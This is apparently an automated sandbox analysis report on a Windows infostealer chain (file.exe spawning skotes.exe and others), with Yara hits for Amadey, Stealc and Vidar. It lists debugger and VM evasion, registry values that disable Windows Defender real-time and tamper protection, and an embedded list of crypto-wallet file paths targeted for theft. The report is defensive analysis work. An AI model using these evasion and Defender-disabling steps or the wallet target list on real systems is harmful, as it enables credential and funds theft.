Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 8164	Thread sleep time: -30000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1005697001\a0969106aa.exe TID: 8160	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1005697001\a0969106aa.exe TID: 2860	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1005697001\a0969106aa.exe TID: 7852	Thread sleep time: -922337203685477s >= -30000s

Source: C:\Users\user\AppData\Local\Temp\1005695001\6fc7e371fe.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BIOS
Source: C:\Users\user\AppData\Local\Temp\1005695001\6fc7e371fe.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BIOS
Source: C:\Users\user\AppData\Local\Temp\1005695001\6fc7e371fe.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BIOS

Source: C:\Users\user\AppData\Local\Temp\1005695001\6fc7e371fe.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_ComputerSystem
Source: C:\Users\user\AppData\Local\Temp\1005695001\6fc7e371fe.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_ComputerSystem
Source: C:\Users\user\AppData\Local\Temp\1005695001\6fc7e371fe.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_ComputerSystem

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Last function: Thread delayed

Source: C:\Users\user\DocumentsHCFBFBAEBK.exe

File Volume queried: C:\ FullSizeInformation

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C65C930 GetSystemInfo,VirtualAlloc,GetSystemInfo,VirtualFree,VirtualAlloc,

0_2_6C65C930

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 30000
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 180000
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 30000
Source: C:\Users\user\AppData\Local\Temp\1005697001\a0969106aa.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\1005697001\a0969106aa.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\1005697001\a0969106aa.exe	Thread delayed: delay time: 922337203685477

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior

Source: skotes.exe, skotes.exe, 00000017.00000002.3289822715.000000000034D000.00000040.00000001.01000000.0000000E.sdmp, 6fc7e371fe.exe, 00000018.00000002.2849755351.0000000001056000.00000040.00000001.01000000.0000000F.sdmp, 6fc7e371fe.exe, 0000001B.00000002.2991118053.0000000001056000.00000040.00000001.01000000.0000000F.sdmp, a0969106aa.exe, 0000001C.00000002.3076107612.0000000000EDC000.00000040.00000001.01000000.00000010.sdmp, 6fc7e371fe.exe, 0000001D.00000002.3070181254.0000000001056000.00000040.00000001.01000000.0000000F.sdmp, a0969106aa.exe, 0000001E.00000002.3139806490.0000000000EDC000.00000040.00000001.01000000.00000010.sdmp, a0969106aa.exe, 0000001F.00000002.3271207100.0000000000EDC000.00000040.00000001.01000000.00000010.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: Web Data.8.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696428655x
Source: Web Data.8.dr	Binary or memory string: discord.comVMware20,11696428655f
Source: Web Data.8.dr	Binary or memory string: interactivebrokers.co.inVMware20,11696428655d
Source: Web Data.8.dr	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696428655
Source: Web Data.8.dr	Binary or memory string: global block list test formVMware20,11696428655
Source: file.exe, 00000000.00000002.2546281725.00000000005F3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW0cc%SystemRoot%\system32\mswsock.dll
Source: Web Data.8.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696428655}
Source: file.exe, 00000000.00000002.2546281725.0000000000630000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000017.00000002.3293696158.0000000000B18000.00000004.00000020.00020000.00000000.sdmp, 6fc7e371fe.exe, 00000018.00000002.2849080030.0000000000AD5000.00000004.00000020.00020000.00000000.sdmp, 6fc7e371fe.exe, 0000001B.00000002.2992599240.00000000016E8000.00000004.00000020.00020000.00000000.sdmp, 6fc7e371fe.exe, 0000001D.00000002.3071062804.0000000001749000.00000004.00000020.00020000.00000000.sdmp, 6fc7e371fe.exe, 0000001D.00000002.3071062804.000000000171B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: Web Data.8.dr	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696428655
Source: Web Data.8.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655^
Source: Web Data.8.dr	Binary or memory string: account.microsoft.com/profileVMware20,11696428655u
Source: 6fc7e371fe.exe, 0000001D.00000002.3071062804.00000000016DB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware3
Source: Web Data.8.dr	Binary or memory string: secure.bankofamerica.comVMware20,11696428655\|UE
Source: Web Data.8.dr	Binary or memory string: www.interactivebrokers.comVMware20,11696428655}
Source: 6fc7e371fe.exe, 00000018.00000002.2849080030.0000000000AA6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: Web Data.8.dr	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696428655p
Source: Web Data.8.dr	Binary or memory string: Interactive Brokers - EU WestVMware20,11696428655n
Source: Web Data.8.dr	Binary or memory string: outlook.office365.comVMware20,11696428655t
Source: Web Data.8.dr	Binary or memory string: microsoft.visualstudio.comVMware20,11696428655x
Source: Web Data.8.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655
Source: Web Data.8.dr	Binary or memory string: outlook.office.comVMware20,11696428655s
Source: Web Data.8.dr	Binary or memory string: www.interactivebrokers.co.inVMware20,11696428655~
Source: Web Data.8.dr	Binary or memory string: ms.portal.azure.comVMware20,11696428655
Source: Web Data.8.dr	Binary or memory string: AMC password management pageVMware20,11696428655
Source: Web Data.8.dr	Binary or memory string: tasks.office.comVMware20,11696428655o
Source: Web Data.8.dr	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696428655z
Source: file.exe, 00000000.00000002.2546281725.0000000000630000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWM
Source: Web Data.8.dr	Binary or memory string: interactivebrokers.comVMware20,11696428655
Source: Web Data.8.dr	Binary or memory string: turbotax.intuit.comVMware20,11696428655t
Source: Web Data.8.dr	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696428655
Source: Web Data.8.dr	Binary or memory string: dev.azure.comVMware20,11696428655j
Source: Web Data.8.dr	Binary or memory string: netportal.hdfcbank.comVMware20,11696428655
Source: 6fc7e371fe.exe, 0000001D.00000002.3071062804.00000000016DB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: Web Data.8.dr	Binary or memory string: Interactive Brokers - HKVMware20,11696428655]
Source: skotes.exe, 00000017.00000002.3293696158.0000000000AE7000.00000004.00000020.00020000.00000000.sdmp, 6fc7e371fe.exe, 0000001B.00000002.2992599240.00000000016B9000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWH
Source: 6fc7e371fe.exe, 0000001B.00000002.2992599240.000000000167B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMwareda
Source: Web Data.8.dr	Binary or memory string: bankofamerica.comVMware20,11696428655x
Source: file.exe, 00000000.00000002.2547827594.0000000001106000.00000040.00000001.01000000.00000003.sdmp, DocumentsHCFBFBAEBK.exe, 00000015.00000002.2628190504.0000000000A2D000.00000040.00000001.01000000.0000000B.sdmp, skotes.exe, 00000016.00000002.2647299566.000000000034D000.00000040.00000001.01000000.0000000E.sdmp, skotes.exe, 00000017.00000002.3289822715.000000000034D000.00000040.00000001.01000000.0000000E.sdmp, 6fc7e371fe.exe, 00000018.00000002.2849755351.0000000001056000.00000040.00000001.01000000.0000000F.sdmp, 6fc7e371fe.exe, 0000001B.00000002.2991118053.0000000001056000.00000040.00000001.01000000.0000000F.sdmp, a0969106aa.exe, 0000001C.00000002.3076107612.0000000000EDC000.00000040.00000001.01000000.00000010.sdmp, 6fc7e371fe.exe, 0000001D.00000002.3070181254.0000000001056000.00000040.00000001.01000000.0000000F.sdmp, a0969106aa.exe, 0000001E.00000002.3139806490.0000000000EDC000.00000040.00000001.01000000.00000010.sdmp, a0969106aa.exe, 0000001F.00000002.3271207100.0000000000EDC000.00000040.00000001.01000000.00000010.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: Web Data.8.dr	Binary or memory string: trackpan.utiitsl.comVMware20,11696428655h
Source: Web Data.8.dr	Binary or memory string: Test URL for global passwords blocklistVMware20,11696428655

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\DocumentsHCFBFBAEBK.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1005695001\6fc7e371fe.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1005695001\6fc7e371fe.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1005697001\a0969106aa.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1005695001\6fc7e371fe.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1005697001\a0969106aa.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1005697001\a0969106aa.exe	Thread information set: HideFromDebugger

Potentially malicious time measurement code found

Source: C:\Users\user\DocumentsHCFBFBAEBK.exe

Code function: 21_2_04A10BED Start: 04A10BF7 End: 04A10C01

21_2_04A10BED

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\AppData\Local\Temp\1005697001\a0969106aa.exe	Open window title or class name: regmonclass
Source: C:\Users\user\AppData\Local\Temp\1005697001\a0969106aa.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\AppData\Local\Temp\1005697001\a0969106aa.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\1005697001\a0969106aa.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\AppData\Local\Temp\1005697001\a0969106aa.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\1005697001\a0969106aa.exe	Open window title or class name: ollydbg
Source: C:\Users\user\AppData\Local\Temp\1005697001\a0969106aa.exe	Open window title or class name: filemonclass
Source: C:\Users\user\AppData\Local\Temp\1005697001\a0969106aa.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\AppData\Local\Temp\1005697001\a0969106aa.exe	File opened: NTICE
Source: C:\Users\user\AppData\Local\Temp\1005697001\a0969106aa.exe	File opened: SICE
Source: C:\Users\user\AppData\Local\Temp\1005697001\a0969106aa.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\DocumentsHCFBFBAEBK.exe	Process queried: DebugPort
Source: C:\Users\user\DocumentsHCFBFBAEBK.exe	Process queried: DebugPort
Source: C:\Users\user\DocumentsHCFBFBAEBK.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1005695001\6fc7e371fe.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1005695001\6fc7e371fe.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1005695001\6fc7e371fe.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1005695001\6fc7e371fe.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1005695001\6fc7e371fe.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1005695001\6fc7e371fe.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1005697001\a0969106aa.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1005697001\a0969106aa.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1005697001\a0969106aa.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1005695001\6fc7e371fe.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1005695001\6fc7e371fe.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1005695001\6fc7e371fe.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1005697001\a0969106aa.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1005697001\a0969106aa.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1005697001\a0969106aa.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1005697001\a0969106aa.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1005697001\a0969106aa.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1005697001\a0969106aa.exe	Process queried: DebugPort

Source: C:\Users\user\DocumentsHCFBFBAEBK.exe

Code function: 21_2_04A10D28 rdtsc

21_2_04A10D28

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C6A5FF0 IsDebuggerPresent,??0PrintfTarget@mozilla@@IAE@XZ,?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z,OutputDebugStringA,__acrt_iob_func,_fileno,_dup,_fdopen,__stdio_common_vfprintf,fclose,

0_2_6C6A5FF0

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C6AC410 LoadLibraryW,GetProcAddress,FreeLibrary,

0_2_6C6AC410

Source: C:\Users\user\DocumentsHCFBFBAEBK.exe	Code function: 21_2_0087652B mov eax, dword ptr fs:[00000030h]	21_2_0087652B
Source: C:\Users\user\DocumentsHCFBFBAEBK.exe	Code function: 21_2_0087A302 mov eax, dword ptr fs:[00000030h]	21_2_0087A302
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 22_2_0019A302 mov eax, dword ptr fs:[00000030h]	22_2_0019A302
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 22_2_0019652B mov eax, dword ptr fs:[00000030h]	22_2_0019652B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 23_2_0019A302 mov eax, dword ptr fs:[00000030h]	23_2_0019A302
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 23_2_0019652B mov eax, dword ptr fs:[00000030h]	23_2_0019652B

Source: C:\Users\user\AppData\Local\Temp\1005697001\a0969106aa.exe

Process token adjusted: Debug

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C67B66C SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_6C67B66C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C67B1F7 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_6C67B1F7
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C82AC62 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_6C82AC62

Source: C:\Users\user\Desktop\file.exe

Memory protected: page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match	File source: Process Memory Space: file.exe PID: 4276, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 6fc7e371fe.exe PID: 7988, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 6fc7e371fe.exe PID: 9188, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 6fc7e371fe.exe PID: 2408, type: MEMORYSTR

Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsHCFBFBAEBK.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\DocumentsHCFBFBAEBK.exe "C:\Users\user\DocumentsHCFBFBAEBK.exe"
Source: C:\Users\user\DocumentsHCFBFBAEBK.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1005695001\6fc7e371fe.exe "C:\Users\user\AppData\Local\Temp\1005695001\6fc7e371fe.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1005697001\a0969106aa.exe "C:\Users\user\AppData\Local\Temp\1005697001\a0969106aa.exe"

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C874760 malloc,InitializeSecurityDescriptor,SetSecurityDescriptorOwner,SetSecurityDescriptorGroup,GetLengthSid,GetLengthSid,GetLengthSid,malloc,InitializeAcl,AddAccessAllowedAce,AddAccessAllowedAce,AddAccessAllowedAce,SetSecurityDescriptorDacl,PR_SetError,GetLastError,free,GetLastError,GetLastError,free,free,free,

0_2_6C874760

Source: file.exe, file.exe, 00000000.00000002.2547827594.0000000001106000.00000040.00000001.01000000.00000003.sdmp

Binary or memory string: CProgram Manager

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C67B341 cpuid

0_2_6C67B341

Source: C:\Users\user\Desktop\file.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1005695001\6fc7e371fe.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1005695001\6fc7e371fe.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1005697001\a0969106aa.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1005697001\a0969106aa.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1005695001\6fc7e371fe.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1005695001\6fc7e371fe.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1005695001\6fc7e371fe.exe	Queries volume information: C:\ VolumeInformation

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C6435A0 ?Startup@TimeStamp@mozilla@@SAXXZ,InitializeCriticalSectionAndSpinCount,getenv,QueryPerformanceFrequency,_strnicmp,GetSystemTimeAdjustment,__aulldiv,QueryPerformanceCounter,EnterCriticalSection,LeaveCriticalSection,QueryPerformanceCounter,EnterCriticalSection,LeaveCriticalSection,__aulldiv,strcmp,strcmp,_strnicmp,

0_2_6C6435A0

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Code function: 23_2_001665E0 LookupAccountNameA,

23_2_001665E0

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Code function: 23_2_001A2517 GetTimeZoneInformation,

23_2_001A2517

Lowering of HIPS / PFW / Operating System Security Settings

Disable Windows Defender notifications (registry)

Source: C:\Users\user\AppData\Local\Temp\1005697001\a0969106aa.exe

Registry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications DisableNotifications 1

Disable Windows Defender real time protection (registry)

Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	Registry value created: DisableIOAVProtection 1
Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	Registry value created: DisableRealtimeMonitoring 1
Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications	Registry value created: DisableNotifications 1

Disables Windows Defender Tamper protection

Source: C:\Users\user\AppData\Local\Temp\1005697001\a0969106aa.exe

Registry value created: TamperProtection 0

Modifies windows update settings

Source: C:\Users\user\AppData\Local\Temp\1005697001\a0969106aa.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU AUOptions
Source: C:\Users\user\AppData\Local\Temp\1005697001\a0969106aa.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU AutoInstallMinorUpdates
Source: C:\Users\user\AppData\Local\Temp\1005697001\a0969106aa.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate DoNotConnectToWindowsUpdateInternetLocations

Stealing of Sensitive Information

Yara detected Amadeys stealer DLL

Source: Yara match	File source: 22.2.skotes.exe.160000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 21.2.DocumentsHCFBFBAEBK.exe.840000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 23.2.skotes.exe.160000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000016.00000002.2646374094.0000000000161000.00000040.00000001.01000000.0000000E.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000002.3287170975.0000000000161000.00000040.00000001.01000000.0000000E.sdmp, type: MEMORY
Source: Yara match	File source: 00000015.00000002.2626788836.0000000000841000.00000040.00000001.01000000.0000000B.sdmp, type: MEMORY

Yara detected Stealc

Source: Yara match	File source: 0000001D.00000003.3027537351.00000000052F0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001B.00000002.2992599240.000000000167B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2047136566.0000000004A00000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2546281725.00000000005AE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001B.00000002.2990514987.0000000000C81000.00000040.00000001.01000000.0000000F.sdmp, type: MEMORY
Source: Yara match	File source: 0000001B.00000003.2947123671.0000000005430000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000018.00000002.2849080030.0000000000A7D000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001D.00000002.3071062804.00000000016DB000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2547238777.0000000000D31000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000018.00000003.2800396250.0000000004F40000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000018.00000002.2849516571.0000000000C81000.00000040.00000001.01000000.0000000F.sdmp, type: MEMORY
Source: Yara match	File source: 0000001D.00000002.3069907329.0000000000C81000.00000040.00000001.01000000.0000000F.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 4276, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 6fc7e371fe.exe PID: 7988, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 6fc7e371fe.exe PID: 9188, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 6fc7e371fe.exe PID: 2408, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: file.exe PID: 4276, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: file.exe, 00000000.00000002.2547238777.0000000000DB4000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo 